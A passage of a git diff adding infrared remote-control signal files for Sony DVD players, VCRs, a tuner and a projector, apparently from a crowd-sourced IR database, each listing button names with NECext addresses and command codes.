+protocol: NECext +address: 1A 49 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: bnr +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 48 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 4B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 53 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5A 00 00 00 +# +name: instant-replay +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir new file mode 100644 index 000000000..65437ecde --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 16 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1F 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: bnr +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 48 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 4B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5A 00 00 00 +# +name: ir +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir new file mode 100644 index 000000000..efdbc9c10 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: I/O +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 16 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1F 00 00 00 +# +name: SEARCH/STEP_reverse +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 20 00 00 00 +# +name: SEARCH/STEP_forward +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 21 00 00 00 +# +name: SCAN/SLOW_reverse +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 22 00 00 00 +# +name: SCAN/SLOW_forward +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 23 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: BNR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 48 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5A 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir new file mode 100644 index 000000000..b5d586df2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 26 00 00 00 +# +name: BTN_TRIGGER +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 2D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 38 00 00 00 +# +name: BTN_SELECT +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 39 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 3A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 3B 00 00 00 +# +name: BTN_LEFT +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 3E 00 00 00 +# +name: BTN_RIGHT +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 3F 00 00 00 +# +name: BTN_EXTRA +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 47 00 00 00 +# +name: KEY_T +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 4A 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 1A F1 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir new file mode 100644 index 000000000..d85224eb6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1D 00 00 00 +# +name: AUTO_TRACKING +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 27 00 00 00 +# +name: SEARCH_REW +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 28 00 00 00 +# +name: SEARCH_FF +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 29 00 00 00 +# +name: TV/VTR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2A 00 00 00 +# +name: FRAME +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 46 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4C 00 00 00 +# +name: QUICK_TIMER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 52 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: TIMER_CLEAR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 63 00 00 00 +# +name: TIMER_CHECK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 64 00 00 00 +# +name: TIMER_SET +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 64 00 00 00 +# +name: TIMER_REC +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 65 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir new file mode 100644 index 000000000..36ff980fe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1D 00 00 00 +# +name: search_left +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 28 00 00 00 +# +name: search_right +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 29 00 00 00 +# +name: tv/vtr +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2A 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: fine_up +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: fine_down +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: counter_reset +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 46 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4C 00 00 00 +# +name: input_sel +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4F 00 00 00 +# +name: exe +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 51 00 00 00 +# +name: quick_timer +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 52 00 00 00 +# +name: timer_next +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: timer_clear +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 63 00 00 00 +# +name: timer_check +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 64 00 00 00 +# +name: timer_rec +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 65 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir new file mode 100644 index 000000000..5f3fb79e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 0B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 15 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 16 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1A 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1D 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 1E 00 00 00 +# +name: top-menu +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 22 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 23 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 24 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 2A 00 00 00 +# +name: bookmark/search-menu +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 30 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 42 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 43 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 4D 00 00 00 +# +name: input-select +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 4F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 56 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 57 00 00 00 +# +name: sp/ep +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 58 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 5A 00 00 00 +# +name: repeat/replay +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 5B 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 5D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 60 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 61 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 62 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 63 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 65 00 00 00 +# +name: select-video +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 69 00 00 00 +# +name: select-dvd +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 6A 00 00 00 +# +name: muting/zoom +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir new file mode 100644 index 000000000..47e22a959 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: continue +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir new file mode 100644 index 000000000..40041826b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: BAND +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0F 00 00 00 +# +name: PRESET+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: PRESET- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir new file mode 100644 index 000000000..a7b3b238c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 15 00 00 00 +# +name: CONTRAST+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 18 00 00 00 +# +name: CONTRAST- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 19 00 00 00 +# +name: COLOR+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 1A 00 00 00 +# +name: COLOR- +type: parsed +protocol: 